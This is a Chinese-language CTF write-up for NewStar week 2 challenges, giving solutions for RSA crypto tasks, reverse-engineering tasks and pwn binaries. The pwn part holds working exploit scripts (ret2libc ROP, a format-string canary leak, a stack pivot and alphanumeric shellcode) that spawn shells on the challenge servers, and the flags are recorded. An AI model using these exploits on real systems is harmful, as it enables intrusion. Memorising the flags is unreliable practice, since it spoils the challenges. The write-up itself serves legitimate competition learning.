• [BUUCTF newstar week2] crypto/pwn/reverse

    难度上来了，而且比赛加多了，newStar/0xGame/SHCTF，moe也结束了，周末还有TCP1P，来不及写东西了。抓时间先一个个来吧。

    crypto

    滴啤

    就是dp的意思，也就是泄露dp求分解

    1. from Crypto.Util.number import *
    2. import gmpy2
    3. from flag import flag
    4. def gen_prime(number):
    5.     p = getPrime(number//2)
    6.     q = getPrime(number//2)
    7.     return p,q
    8.  
    9. m = bytes_to_long(flag.encode())
    10. p,q = gen_prime(1024)
    11. print(p*q)
    12. e = 65537
    13. d = gmpy2.invert(e,(p-1)*(q-1))
    14. print(d%(p-1))
    15. print(pow(m,e,p*q))
    16.  
    17. e = 65537
    18. n = 93172788492926438327710592564562854206438712390394636149385608321800134934361353794206624031396988124455847768883785503795521389178814791213054124361007887496351504099772757164211666778414800698976335767027868761735533195880182982358937211282541379697714874313863354097646233575265223978310932841461535936931
    19. dp = 307467153394842898333761625034462907680907310539113349710634557900919735848784017007186630645110812431448648273172817619775466967145608769260573615221635
    20. c = 52777705692327501332528487168340175436832109866218597778822262268417075157567880409483079452903528883040715097136293765188858187142103081639134055997552543213589467751037524482578093572244313928030341356359989531451789166815462417484822009937089058352982739611755717666799278271494933382716633553199739292089

     

    1. #x*(p-1) = e*dp - 1
    2. for x in range(1,e):
    3.     p = (e*dp - 1)//x + 1
    4.     if gcd(n,p) != 1:
    5.         print(p)
    6.         break 
    7.  
    8. q=n//p
    9. d = invert(e,(p-1)*(q-1))
    10. m = pow(c,d,n)
    11. long_to_bytes(m)     
    12. #flag{cd5ff82d-989c-4fbf-9543-3f98ab567546}

    不止一个pi

    1. from flag import flag
    2. from Crypto.Util.number import *
    3. import gmpy2
    4. p = getPrime(1024)
    5. q = getPrime(1024)
    6. n = p**3*q**2
    7. print("q = ",q)
    8. print("p = ",p)
    9. m = bytes_to_long(flag.encode())
    10. c = pow(m,65537,n)
    11. print("c = ",c)
    12.  
    13. q =  115478867870347527660680329271012852043845868401928361076102779938370270670897498759391844282137149013845956612257534640259997979275610235395706473965973203544920469416283181677660262509481282536465796731401967694683575843183509430017972506752901270887444490905891490955975762524187534052478173966117471143713
    14. p =  171790960371317244087615913047696670778115765201883835525456016207966048658582417842936925149582378305610304505530997833147251832289276125084339614808085356814202236463900384335878760177630501950384919794386619363394169016560485152083893183420911295712446925318391793822371390439655160077212739260871923935217
    15. c =  4459183928324369762397671605317600157512712503694330767938490496225669985050002776253470841193156951087663107866714426230222002399666306287642591077990897883174134404896800482234781531592939043551832049756571987010173667074168282355520711905659013076509353523088583347373358980842707686611157050425584598825151399870268083867269912139634929397957514376826145870752116583185351576051776627208882377413433140577461314504762388617595282085102271510792305560608934353515552201553674287954987323321512852114353266359364282603487098916608302944694600227628787791876600901537888110093703612414836676571562487005330299996908873589228072982641114844761980143047920770114535924959765518365614709272297666231481655857243004072049094078525569460293381479558148506346966064906164209362147313371962567040047084516510135054571080612077333228195608109065475260832580192321853906138811139036658485688320161530131239854003996457871663456850196483520239675981391047452381998620386899101820782421605287708727667663038905378115235163773867508258208867367314108701855709002634592329976912239956212490788262396106230191754680813790425433763427315230330459349320412354189010684525105318610102936715203529222491642807382215023468936755584632849348996666528981269240867612068382243822300418856599418223875522408986596925018975565057696218423036459144392625166761522424721268971676010427096379610266649911939139451989246194525553533699831110568146220347603627745407449761792135898110139743498767543521297525802809254842518002190381508964357001211353997061417710783337
    16. e = 65537

    这题有点意思，显然可以求出p^3q^2对应的phi来，但不正确，只能用p*q求解

    1. d = invert(e, (p-1)*(q-1))
    2. m = pow(c,d,p*q)
    3. long_to_bytes(m)
    4. #flag{bu_zhi_yige_p1dsaf}

    halfcandecode

    1. from Crypto.Util.number import *
    2. import gmpy2
    3. from flag import flag
    4. import os
    5. from hashlib import md5
    6.  
    7. def gen_prime(number):
    8.     p = getPrime(number // 2)
    9.     q = gmpy2.next_prime(p)
    10.     return p * q
    11.  
    12. def md5_hash(m):
    13.     return md5(m.encode()).hexdigest()
    14. e = 65537
    15. n = gen_prime(1024)
    16. m1 = bytes_to_long(flag[:len(flag) // 2].encode() + os.urandom(8))
    17. c1 = pow(m1, e, n)
    18. m2 = flag[len(flag) // 2:]
    19. with open("out.txt","w") as f:
    20.     f.write(str(n) + '\n')
    21.     f.write(str(c1) + '\n')
    22.     for t in m2:
    23.         f.write(str(md5_hash(t))+'\n')
    24.  
    25. n = 113021375625152132650190712599981988437204747209058903684387817901743950240396649608148052382567758817980625681440722581705541952712770770893410244646286485083142929097056891857721084849003860977390188797648441292666187101736281034814846427200984062294497391471725496839508139522313741138689378936638290593969
    26. c1 = 43054766235531111372528859352567995977948625157340673795619075138183683929001986100833866227688081563803862977936680822407924897357491201356413493645515962458854570731176193055259779564051991277092941379392700065150286936607784073707448630150405898083000157174927733260198355690620639487049523345380364948649
    27. c2 = [
    28. '4a8a08f09d37b73795649038408b5f33',
    29. '03c7c0ace395d80182db07ae2c30f034',
    30. 'e1671797c52e15f763380b45e841ec32',
    31. 'b14a7b8059d9c055954c92674ce60032',
    32. 'e358efa489f58062f10dd7316b65649e',
    33. 'cfcd208495d565ef66e7dff9f98764da',
    34. 'b14a7b8059d9c055954c92674ce60032',
    35. '8fa14cdd754f91cc6554c9e71929cce7',
    36. '0cc175b9c0f1b6a831c399e269772661',
    37. '4a8a08f09d37b73795649038408b5f33',
    38. 'e358efa489f58062f10dd7316b65649e',
    39. 'cfcd208495d565ef66e7dff9f98764da',
    40. '4b43b0aee35624cd95b910189b3dc231',
    41. 'cbb184dd8e05c9709e5dcaedaa0495cf']

    题目分两步，第1步是pq非常接近时的分解，这个yafu就能直接干，第2步是单字符md5爆破，直接查表也行爆破也行，没有难度的

    1. p = 10631151190024160908870967192522097752991652918777416177941351782447314225123009693276679810786266997133099934443701772661928189884235742113123409596993841
    2. q = 10631151190024160908870967192522097752991652918777416177941351782447314225123009693276679810786266997133099934443701772661928189884235742113123409596993409
    3. m1 = long_to_bytes(pow(c1,invert(e, p-1) ,p))
    4. #flag{two_cloabcse_t0_fact0r}
    5. m2 = ''
    6. for i in range(len(c2)):
    7.     for v in range(0x21,0x7f):
    8.         if md5(chr(v).encode()).hexdigest() == c2[i]:
    9.             m2 += chr(v)
    10.             break

    Rotate Xor

    1. from secret import flag
    2. from os import urandom
    3. from pwn import xor
    4. from Cryptodome.Util.number import *
    5. k1 = getPrime(64)
    6. k2 = getPrime(64)
    7. ROUND = 12
    8. ciphertext = xor(flag, long_to_bytes(k1))
    9. def round_rotate_left(num, step):
    10.     return ((num) << step | num >> (64-step)) & 0xffffffffffffffff
    11. def encrypt_key(key):
    12.     for _ in range(ROUND):
    13.         key = round_rotate_left(key, 3) ^ k2
    14.     return key
    15.  
    16. print('ciphertext =', ciphertext)
    17. print('enc_k1 =', encrypt_key(k1))
    18. print('k2 =', k2)
    19.  
    20. ciphertext = b'\x8dSyy\xd2\xce\xe2\xd2\x98\x0fth\x9a\xc6\x8e\xbc\xde`zl\xc0\x85\xe0\xe4\xdfQlc'
    21. enc_k1 = 7318833940520128665
    22. k2 = 9982833494309156947

    循环移位都不用写程序用原来的就行，然后与k2异或得k1

    1. for _ in range(ROUND):
    2.     enc_k1 = round_rotate_left(enc_k1^k2, 64-3)
    3.  
    4. xor(ciphertext, long_to_bytes(enc_k1))
    5. #flag{z3_s0lv3r_15_bri11i4nt}

     

    partial decrypt

    1. from secret import flag
    2. from Crypto.Util.number import *
    3.  
    4. m = bytes_to_long(flag)
    5. e = 65537
    6. p = getPrime(512)
    7. q = getPrime(512)
    8.  
    9. n = p*q 
    10.  
    11. c = pow(m,e,n)
    12.  
    13. dp = inverse(e, (p-1))
    14. dq = inverse(e, (q-1))
    15. m1 = pow(c,dp, p)
    16. m2 = pow(c,dq, q)
    17. q_inv = inverse(q, p)
    18. h = (q_inv*(m1-m2)) % p
    19. print('m2 =', m2)
    20. print('h =', h)
    21. print('q =', q)
    22.  
    23. m2 = 4816725107096625408335954912986735584642230604517017890897348901815741632668751378729851753037917164989698483856004115922538576470127778342121497852554884
    24. h = 4180720137090447835816240697100630525624574275
    25. q = 7325294399829061614283539157853382831627804571792179477843187097003503398904074108324900986946175657737035770512213530293277111992799331251231223710406931

    paper题总是会有的。通过最后一个式子得到hq = m1-m2 然后得到m1

    1. m1 = h*q + m2
    2. long_to_bytes(m1)
    3. #b'flag{rsa_with_crt#b12a3a020c9cc5f1a6df4618256f7c88c83fdd95aab1a2b2656d760475bd0bf1}'

     

    broadcast

    1. from secret import flag
    2. from Cryptodome.Util.number import *
    3.  
    4. menu = '''
    5. Welcome to RSA Broadcasting system
    7. please select your option:
    9. 1. brocast the flag
    10. 2. exit
    11. '''
    12. e = 17
    13. def broadcast_the_flag():
    14.     p = getPrime(256)
    15.     q = getPrime(256)
    16.     n=p*q
    17.     m = bytes_to_long(flag)
    18.     c = pow(m,e,n)
    19.     print('n =', n)
    20.     print('c =', c)
    21.     print('e =', e)
    22. while True:
    23.     print(menu)
    24.     opt = input('> ')
    25.     try:
    26.         opt = int(opt)
    27.         if opt == 1:
    28.             broadcast_the_flag()
    29.         elif opt == 2:
    30.             break
    31.         else:
    32.             print('invalid option')
    33.     except:
    34.         print('oh no, something wrong!')

    服务会每次生成n,c但e=17不变，典型的广播攻击

    1. from pwn import *
    2.  
    3. p = remote('node4.buuoj.cn', 26083)
    4. context.log_level = 'debug'
    5.  
    6. n = []
    7. c = []
    8. for i in range(17):
    9.     p.sendlineafter(b'> ', b'1')
    10.     n.append(int(p.recvline().strip().split(b' = ')[1]))
    11.     c.append(int(p.recvline().strip().split(b' = ')[1]))
    12.     p.recvline()
    13.  
    14. p.sendlineafter(b'> ', b'2')
    15. print(n)
    16. print(c)
    17. #------------------------------
    18. c17 = crt(c,n)
    19. from gmpy2 import iroot
    20. #iroot(c17,17) (mpz(3670434958110157775238870741600986862160732522647671381021422644325240133745431303227929896983617235809405), True)
    21. bytes.fromhex(hex(iroot(c17,17)[0])[2:])
    22. #b'flag{d0_n0t_sh0ut_loud1y_1n_th3_d4rk_f0r3st}'

     

    PWN

    ret2libc

    1. int __cdecl main(int argc, const char **argv, const char **envp)
    2. {
    3.   char buf[32]; // [rsp+10h] [rbp-20h] BYREF
    4.  
    5.   init(argc, argv, envp);
    6.   puts("Welcome to NewStar CTF!!");
    7.   puts("Show me your magic again");
    8.   read(0, buf, 0x100uLL);
    9.   puts("See you next time");
    10.   return 0;
    11. }

    没开PIE，一个明显的溢出

    1. from pwn import *
    2.  
    3. #p = process('./ret2libc')
    4. p = remote('node4.buuoj.cn', 29275)
    5. context(arch='amd64', log_level='debug')
    6.  
    7. elf = ELF('./ret2libc')
    8. #libc = ELF('./libc.so.6')
    9. pop_rdi = 0x0000000000400763 # pop rdi ; ret
    10. pop_rsi = 0x0000000000400761 # pop rsi ; pop r15 ; ret
    11. bss = 0x601800
    12.  
    13. p.sendafter(b"Show me your magic again\n", b'\x00'*0x20+ flat(bss, pop_rdi, elf.got['read'], elf.plt['puts'], elf.sym['main']))
    14. libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x110020
    15. print(f"libc_base = :x")
    16.  
    17. bin_sh = libc_base + 0x1b3d88
    18. system = libc_base + 0x4f420
    19.  
    20. p.sendafter(b"Show me your magic again\n", b'\x00'*0x20+ flat(bss, pop_rdi, bin_sh, pop_rsi, 0,0, system))
    21.  
    22. p.interactive()

     

    canary

    1. int __cdecl main(int argc, const char **argv, const char **envp)
    2. {
    3.   char buf[40]; // [rsp+0h] [rbp-30h] BYREF
    4.   unsigned __int64 v5; // [rsp+28h] [rbp-8h]
    5.  
    6.   v5 = __readfsqword(0x28u);
    7.   init(argc, argv, envp);
    8.   puts("Welcome to NewStar CTF!!");
    9.   puts("Give me some gift?");
    10.   read(0, buf, 0x20uLL);
    11.   puts("Oh thanks,There is my gift:");
    12.   printf(buf);
    13.   puts("Show me your magic");
    14.   read(0, buf, 0x100uLL);
    15.   return 0;
    16. }
    17. unsigned __int64 backdoor()
    18. {
    19.   unsigned __int64 v1; // [rsp+8h] [rbp-8h]
    20.  
    21.   v1 = __readfsqword(0x28u);
    22.   puts("Congratulations!!!");
    23.   execve("/bin/sh", 0LL, 0LL);
    24.   return v1 - __readfsqword(0x28u);
    25. }

    前边一个格式化字符串漏洞来得到canary然后溢出到后门

    1. from pwn import *
    2.  
    3. #p = process('./canary')
    4. p = remote('node4.buuoj.cn', 28428)
    5. context(arch='amd64', log_level='debug')
    6.  
    7. elf = ELF('./canary')
    8. #libc = ELF('./libc.so.6')
    9. pop_rdi = 0x0000000000400763 # pop rdi ; ret
    10. pop_rsi = 0x0000000000400761 # pop rsi ; pop r15 ; ret
    11. bss = 0x601800
    12.  
    13. p.sendafter(b"Give me some gift?\n", b'%11$p\n%13$p\n')
    14. p.recvline()
    15. canary = int(p.recvline(), 16)
    16. libc_base = int(p.recvline(), 16) - 0x2dd90
    17. print(f"libc_base = :x")
    18.  
    19. bin_sh = libc_base + 0x1dc698
    20. system = libc_base + 0x54d60
    21.  
    22. p.sendafter(b"Show me your magic\n", b'\x00'*0x28 + flat(canary, 0, 0x401262))
    23. p.interactive()

     

    secret number

    1. int __cdecl main(int argc, const char **argv, const char **envp)
    2. {
    3.   unsigned int v3; // eax
    4.   int v5; // [rsp+8h] [rbp-38h] BYREF
    5.   int v6; // [rsp+Ch] [rbp-34h] BYREF
    6.   char buf[40]; // [rsp+10h] [rbp-30h] BYREF
    7.   unsigned __int64 v8; // [rsp+38h] [rbp-8h]
    8.  
    9.   v8 = __readfsqword(0x28u);
    10.   init(argc, argv, envp);
    11.   v3 = time(0LL);
    12.   srand(v3);
    13.   secret = rand();
    14.   puts("Welcome to NewStar CTF!!");
    15.   while ( 1 )
    16.   {
    17.     puts("Give me some gift?(0/1)");
    18.     __isoc99_scanf("%d", &v6);
    19.     if ( v6 != 1 )
    20.       break;
    21.     puts("What's it");
    22.     read(0, buf, 0x20uLL);
    23.     puts("Oh thanks,There is my gift:");
    24.     printf(buf);
    25.   }
    26.   puts("Guess the number");
    27.   __isoc99_scanf("%d", &v5);
    28.   if ( v5 == secret )
    29.     system("/bin/sh");
    30.   else
    31.     puts("You are wrong!");
    32.   return 0;
    33. }

    前边有个循环的格式化字符串漏洞可以得到secret的值，然后都改成0就行了

     

    1. from pwn import *
    2.  
    3. #p = process('./secretnumber')
    4. p = remote('node4.buuoj.cn', 25576)
    5. context(arch='amd64', log_level='debug')
    6.  
    7. p.sendlineafter(b"Give me some gift?(0/1)\n", b'1')
    8. p.sendafter(b"What's it\n", b'%17$p\n')
    9. p.recvline()
    10. elf_addr = int(p.recvline().strip(),16) - 0x12f5
    11. secret = elf_addr + 0x404c 
    12.  
    13. p.sendlineafter(b"Give me some gift?(0/1)\n", b'1')
    14. p.sendafter(b"What's it\n", b'%9$n'.ljust(8, b'\x00')+ p64(secret))
    15.  
    16. p.sendlineafter(b"Give me some gift?(0/1)\n", b'0')
    17. p.sendlineafter(b"Guess the number\n", b'0')
    18.  
    19. p.interactive()

    stack migration

    1. int sub_4011FB()
    2. {
    3.   char buf[8]; // [rsp+8h] [rbp-58h] BYREF
    4.   char v2[80]; // [rsp+10h] [rbp-50h] BYREF
    5.  
    6.   puts("I've never seen you before!");
    7.   puts("your name:");
    8.   read(0, buf, 8uLL);
    9.   printf("Oh, you are %s~\n", buf);
    10.   printf("I have a small gift for you: %p\n", buf);
    11.   puts("more infomation plz:");
    12.   read(0, v2, 0x60uLL);
    13.   puts("OK, nice to see you~");
    14.   return puts("maybe I'll see you soon!");
    15. }

    在%p输出时会把buf的所在栈地址输出，得到栈地址，然后溢出16字节，覆盖到rbp,和返回地址，向前移栈得到libc然后回来再getshell

    1. from pwn import *
    2.  
    3. #p = process('./pwn')
    4. p = remote('node4.buuoj.cn', 26584)
    5. context(arch='amd64', log_level='debug')
    6.  
    7. elf = ELF('./pwn')
    8. libc = ELF('./libc.so.6')
    9.  
    10. #gdb.attach(p, 'b*0x40128c\nc')
    11.  
    12. p.sendafter(b"your name:\n", p64(elf.got['puts']))
    13. p.recvuntil(b"I have a small gift for you: ")
    14. stack = int(p.recvuntil(b'more', drop=True), 16)
    15. print(f"{stack = :x}")
    16.  
    17. bss = 0x404800
    18. leave_ret = 0x4012aa
    19. pop_rdi = 0x0000000000401333 # pop rdi ; ret
    20. pop_rsi = 0x0000000000401331 # pop rsi ; pop r15 ; ret
    21.  
    22. p.sendafter(b"infomation plz:\n", flat(pop_rdi, elf.got['puts'], elf.plt['puts'], pop_rdi+1, 0x4011fb).ljust(0x50,b'\x00') + flat(stack, leave_ret))
    23.  
    24. p.recvline()
    25. p.recvline()
    26. libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc.sym['puts']
    27. print(f"{libc.address = :x}")
    28.  
    29. p.sendafter(b"your name:\n", p64(elf.got['puts']))
    30. p.recvuntil(b"I have a small gift for you: ")
    31. stack = int(p.recvuntil(b'more', drop=True), 16)
    32. print(f"{stack = :x}")
    33.  
    34. p.sendafter(b"infomation plz:\n", flat(pop_rdi, next(libc.search(b'/bin/sh\x00')), pop_rsi,0,0, pop_rdi+1, libc.sym['system']).ljust(0x50,b'\x00') + flat(stack, leave_ret))
    35.  
    36. p.interactive()

    shellcode revenge

    1. int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
    2. {
    3.   char buf; // [rsp+3h] [rbp-11Dh] BYREF
    4.   int i; // [rsp+4h] [rbp-11Ch]
    5.   __int64 v5; // [rsp+8h] [rbp-118h]
    6.   char src[264]; // [rsp+10h] [rbp-110h] BYREF
    7.   unsigned __int64 v7; // [rsp+118h] [rbp-8h]
    8.  
    9.   v7 = __readfsqword(0x28u);
    10.   init();
    11.   v5 = (int)mmap((void *)0x66660000, 0x1000uLL, 7, 50, -1, 0LL);
    12.   puts("Welcome to NewStar CTF!!");
    13.   puts("Show me your magic");
    14.   for ( i = 0; ; ++i )
    15.   {
    16.     if ( i > 255 )
    17.       goto LABEL_9;
    18.     read(0, &buf, 1uLL);
    19.     if ( buf > 90 || buf <= 47 || buf > 57 && buf <= 64 )// 只有大写字母和数字
    20.       break;
    21.     src[i] = buf;
    22.   }
    23.   puts("Pls input the correct character");
    24. LABEL_9:
    25.   strncpy((char *)0x66660000, src, 0x100uLL);
    26.   JUMPOUT(0x66660000LL);

    可以输入一个只有大写字符和字数的shellcode然后执行。

    大写字符里有

    1:pop rax;pop rcx; 

    2:push 大部分寄存器都可以

    3:xor [rax],esi; xor esi,[rax]

    4：xor eax,X;xor al,X

    这里残留的rdi=0利用这个造一个read，呆需要利用xor将后边一个字符异或成syscall即可

    1. from pwn import *
    2.  
    3. #p = process('./shellcodere')
    4. p = remote('node4.buuoj.cn',25389)
    5. context(arch='amd64',log_level = 'debug')
    6.  
    7. '''
    8. 1,将buf+0x50处异或得到syscall
    9. buf+0x50 = \x0f\x05^\x41\x41
    10. 2,恢复rsi=buf+0x50,rax=0,(rdi=0,rdx!=0)进行读
    11. '''
    12. #gdb.attach(p, "b*0x401373\nc")
    13.  
    14. #rsi=0
    15. shellcode = 'push rsi;push rax;push rsi;push rsp;pop rax; xor esi,[rax];pop rax;pop rax;' #[rax]= rsi,esi=0;
    16. #rsi=0x41414141
    17. shellcode+= 'xor eax,0x41414141;push rax;push rsp;pop rax; xor esi,[rax];'  #rsi=0x41414141
    18. #[buf+0x50]^rsi => \x0f\x05 syscall
    19. shellcode+= 'push rdx; pop rax; xor al,0x50; xor [rax], esi; ' # rcx->buf+0x50 ^ AAAA
    20. #rsi=0
    21. shellcode+= 'push rax; push rsi; push rsp; pop rax; xor esi,[rax]; ' #esi = 0
    22. #rsi=buf+0x50
    23. shellcode+= 'pop rcx; push rsp; pop rax; xor esi,[rax];'  #esi=buf+0x50
    24. #rax=0
    25. shellcode+= 'push rdi; pop rax;'       #rax = 0
    26. pay = asm(shellcode).ljust(0x50, b'P') + p32(0x41414141^0x050f)
    27.  
    28. p.sendafter(b"Show me your magic\n", pay.ljust(0x100, b'0'))
    29.  
    30. p.send(b'\x90'*2 + asm(shellcraft.sh()))
    31.  
    32. p.interactive()

    REV

    PZthon

    pydumpck是个好东西，可以直接把python的exe包解成py文件，免去了给pyc文件加头的麻烦，一个简单异或。

    1. enc = [
    2.     115,121,116,114,110,76,37,96,88,116,113,112,36,97,65,125,103,37,96,114,125,65,39,112,70,112,118,37,123,113,69,79,82,84,89,84,77,76,36,112,99,112,36,65,39,116,97,36,102,86,37,37,36,104]
    3. data = hello()
    4. for i in range(len(data)):
    5.     data[i] = data[i] ^ 21
    6.     if None(None) == data:
    7.         print('WOW!!')
    8.     else:
    9.         print('I believe you can do it!')
    10.         input('To be continue...')

    AndroGenshin

    一个base64+RC4，但base64码表少1位需要爆破

    1.     public static String encode(byte[] data, String CUSTOM_TABLE) {
    2.         StringBuilder result = new StringBuilder();
    3.         int length = (3 - (data.length % 3)) % 3;
    4.         for (int i = 0; i < data.length; i += 3) {
    5.             int i2 = 0;
    6.             int i3 = ((data[i] & 255) << 16) | ((i + 1 < data.length ? data[i + 1] & 255 : 0) << 8);
    7.             if (i + 2 < data.length) {
    8.                 i2 = data[i + 2] & 255;
    9.             }
    10.             int value = i3 | i2;
    11.             for (int j = 0; j < 4; j++) {
    12.                 if (j == 3 && i + 2 >= data.length) {
    13.                     result.append('=');
    14.                 } else if (j == 2 && i + 1 >= data.length) {
    15.                     result.append('=');
    16.                 } else {
    17.                     result.append(CUSTOM_TABLE.charAt((value >> ((3 - j) * 6)) & 63));
    18.                 }
    19.             }
    20.         }
    21.         return result.toString();
    22.     }
    23.  
    24.  
    25.  
    26. public class it_is_not_RC4 {
    27.     public static String rc4(String keyStr, int[] data) {
    28.         byte[] key = keyStr.getBytes();
    29.         int[] s = new int[256];
    30.         int[] k = new int[256];
    31.         int j = 0;
    32.         for (int i = 0; i < 256; i++) {
    33.             s[i] = i;
    34.             k[i] = key[i % key.length];
    35.         }
    36.         for (int i2 = 0; i2 < 256; i2++) {
    37.             j = (s[i2] + j + k[i2]) & 255;
    38.             int temp = s[i2];
    39.             s[i2] = s[j];
    40.             s[j] = temp;
    41.         }
    42.         StringBuilder result = new StringBuilder();
    43.         int j2 = 0;
    44.         int i3 = 0;
    45.         for (int i4 : data) {
    46.             i3 = (i3 + 1) & 255;
    47.             j2 = (s[i3] + j2) & 255;
    48.             int temp2 = s[i3];
    49.             s[i3] = s[j2];
    50.             s[j2] = temp2;
    51.             int rnd = s[(s[i3] + s[j2]) & 255];
    52.             result.append((char) (i4 ^ rnd));
    53.         }
    54.         return result.toString();
    55.     }
    56. }
    1. from base64 import *
    2. import string 
    3. b64code = string.ascii_uppercase + string.ascii_lowercase + '0123456789+/='
    4.  
    5. for ttt in range(256):
    6.     base64_table = [
    7.     125, 239, 101, 151,  77, 163, 163, 110, 
    8.      58, 230, 186, 206,  84,  84, 189, 193, 
    9.      30,  63, 104, 178, 130, 211, 164,  94, 
    10.      75,  16,  32,  33, 193, 160, 120,  47, 
    11.      30, 127, 157,  66, 163, 181, 177,  47, 
    12.       0, 236, 106, 107, 144, 231, ttt,  16, 
    13.      36,  34,  91,   9, 188,  81,   5, 241, 
    14.     235,   3,  54, 150,  40, 119, 202, 150]
    15.     
    16.     key = b"genshinimpact"
    17.     s = [i for i in range(256)]
    18.     k = [key[i%13] for i in range(256)]
    19.     j = 0
    20.     for i in range(256):
    21.         j = (s[i]+j+k[i])&0xff
    22.         s[i],s[j] = s[j],s[i]
    23.     
    24.     res = []
    25.     j2,i3 = 0,0
    26.     for i4 in base64_table:
    27.         i3 = (i3+1)&0xff
    28.         j2 = (s[i3]+j2)&0xff
    29.         s[i3],s[j2] = s[j2],s[i3]
    30.         res.append(i4^s[(s[i3]+s[j2])&0xff])
    31.     
    32.     cod = bytes(res)
    33.     if not all([1 if v in b64code.encode() else 0 for v in cod]): continue 
    34.     #print(bytes(res))
    35.     c = b"YnwgY2txbE8TRyQecyE1bE8DZWMkMiRgJW1="
    36.     try:
    37.         c2 = ''.join([b64code[cod.index(v)] for v in c])
    38.         print(b64decode(c2))
    39.     except:
    40.         pass

     

    SMC

    1. int __cdecl main(int argc, const char **argv, const char **envp)
    2. {
    3.   DWORD *v3; // eax
    4.  
    5.   v3 = (DWORD *)malloc(0x26u);
    6.   VirtualProtect(&byte_403040, 0x26u, 0x40u, v3);
    7.   puts("Please enter your flag:");
    8.   sub_401025("%s", (char)&unk_4033D4);
    9.   if ( NtCurrentPeb()->BeingDebugged )
    10.   {
    11.     MessageBoxA(0, "Debug Detected!", "Warning!", 0);
    12.     Sleep(0x1388u);
    13.     exit(0);
    14.   }
    15.   sub_401042();                                 // SMC
    16.   if ( ((int (__cdecl *)(void *, void *))byte_403040)(&unk_4033D4, &unk_403020) )
    17.     puts("Win!");
    18.   else
    19.     puts("Lose!");
    20.   return system("pause");
    21. }

    这里调用了sub_401042() 这里把代码修改了。

    1. char sub_401042()
    2. {
    3.   int i; // ecx
    4.   char result; // al
    5.  
    6.   for ( i = 0; i < 38; ++i )
    7.   {
    8.     result = byte_403068[i & 3];
    9.     byte_403040[i] ^= result;
    10.   }
    11.   return result;
    12. }

     把程序修改后得到反编译的加密代码

    1. char sub_403040()
    2. {
    3.   int v0; // edx
    4.  
    5.   v0 = 0;
    6.   while ( ((unsigned __int8)byte_4033D4[v0] ^ 0x11) + 5 == (unsigned __int8)byte_403020[v0] )
    7.   {
    8.     if ( ++v0 >= 32 )
    9.       return 1;
    10.   }
    11.   return 0;
    12. }
    1. from pwn import xor 
    2.  
    3. a = open('SMC.exe', 'rb').read()
    4.  
    5. b = a[0x2040: 0x2040+38]
    6. key = b'\x11\x22\x33\x44'
    7. c = xor(b,key)
    8. d = a[:0x2040]+c+a[0x2040+38:]
    9. #open('smc2.exe', 'wb').write(d)
    10.  
    11. c = a[0x2020:0x2020+0x20]
    12. b = [(v-5)^0x11 for v in c]
    13. print(bytes(b))

     

    Petals

    1. __int64 __fastcall main(int a1, char **a2, char **a3)
    2. {
    3.   unsigned int v4; // [rsp+Ch] [rbp-4h]
    4.  
    5.   puts("Here is a pack of flowers, to my best love --- you.");
    6.   puts("But I must check your identity, please input the right passwd");
    7.   __isoc99_scanf("%s", byte_4080);
    8.   v4 = strlen(byte_4080);
    9.   if ( strlen(byte_4080) != 25 )
    10.   {
    11.     puts("Please check your input's format!");
    12.     exit(-1);
    13.   }
    14.   sub_1209((__int64)byte_4080, v4);
    15.   sub_160C(byte_4080, &unk_4020, v4);
    16.   printf("If you are succeed, the flag is flag{md5(your input)}");
    17.   return 0LL;
    18. }
    19. unsigned __int64 __fastcall sub_1209(__int64 a1, unsigned int a2)
    20. {
    21.   int i; // [rsp+18h] [rbp-118h]
    22.   signed int j; // [rsp+1Ch] [rbp-114h]
    23.   __int64 v5[33]; // [rsp+20h] [rbp-110h] BYREF
    24.   unsigned __int64 v6; // [rsp+128h] [rbp-8h]
    25.  
    26.   v6 = __readfsqword(0x28u);
    27.   memset(v5, 0, 256);
    28.   for ( i = 0; i <= 255; ++i )
    29.     *((_BYTE *)v5 + i) = ~(i ^ a2);
    30.   for ( j = 0; a2 > j; ++j )
    31.     *(_BYTE *)(j + a1) = *((_BYTE *)v5 + *(unsigned __int8 *)(j + a1));
    32.   return v6 - __readfsqword(0x28u);
    33. }

    没有SMC就简单多了

    1. v5 = [(~(i^25))&0xff for i in range(256)]
    2.  
    3. enc = bytes.fromhex('D0D085858080C58A9389928F87889F8FC584D6D1D282D3DE87')
    4.  
    5. flag = [v5.index(v) for v in enc]
    6.  
    7. a = bytes(flag)
    8. #66ccff#luotianyi#b074d58a
    9.  
    10. from hashlib import md5
    11. print(md5(a).hexdigest())
    12. #d780c9b2d2aa9d40010a753bc15770de
    13. #flag{d780c9b2d2aa9d40010a753bc15770de}

     

    easy_enc

    C++写的太难弄了，找不到程序在哪，从字符串表打到这个，然后向前跟踪。

    前边还有4段加密，虽然看上去不难，但解不出来，最后只能爆破，由于它是一个个字符处理的，比如说输入4个字符，这4个正确就会输出right。所以可以直接爆破

    1. from subprocess import *
    2. import string 
    3.  
    4. def getv(s):
    5.     print(s)
    6.     p = Popen("easy_enc.exe", shell=True, stdin=PIPE, stdout=PIPE, stderr=STDOUT)
    7.     p.stdin.write(s.encode()+b'\n')
    8.     p.stdin.flush()
    9.     buff = p.stdout.readline()
    10.     return buff 
    11.  
    12. flag = ''
    13. for i in range(29):
    14.     for v in string.ascii_letters:
    15.         res = getv(flag+v)
    16.         if b'Right!!' in res:
    17.             flag += v 
    18.             print(flag)
    19.             break
    20.  
    21. #BruteForceIsAGoodwaytoGetFlag
    22. #flag{BruteForceIsAGoodwaytoGetFlag}

     

    R4ndom

    一个置了种子的随机数加密

    1. unsigned __int64 b(void)
    2. {
    3.   unsigned __int64 v1; // [rsp+18h] [rbp-8h]
    4.  
    5.   v1 = __readfsqword(0x28u);
    6.   srand(0x5377654Eu);
    7.   return __readfsqword(0x28u) ^ v1;
    8. }
    1.   s2[0] = 0x3513AB8AB2D7E6EELL;
    2.   s2[1] = 0x2EEDBA9CB9C97B02LL;
    3.   s2[2] = 0x16E4F8C8EEFA4FBDLL;
    4.   s2[3] = 0x383014F4983B6382LL;
    5.   s2[4] = 0xEA32360C3D843607LL;
    6.   s2[5] = 42581LL;
    7.   v8 = 0;
    8.   puts("Can You Find the Secret?");
    9.   puts("Give me your flag");
    10.   *(_QWORD *)s = 0LL;
    11.   v10 = 0LL;
    12.   v11 = 0LL;
    13.   v12 = 0LL;
    14.   v13 = 0LL;
    15.   v14 = 0LL;
    16.   v15 = 0;
    17.   __isoc99_scanf("%s", s);
    18.   if ( strlen(s) != 42 )
    19.     exit(0);
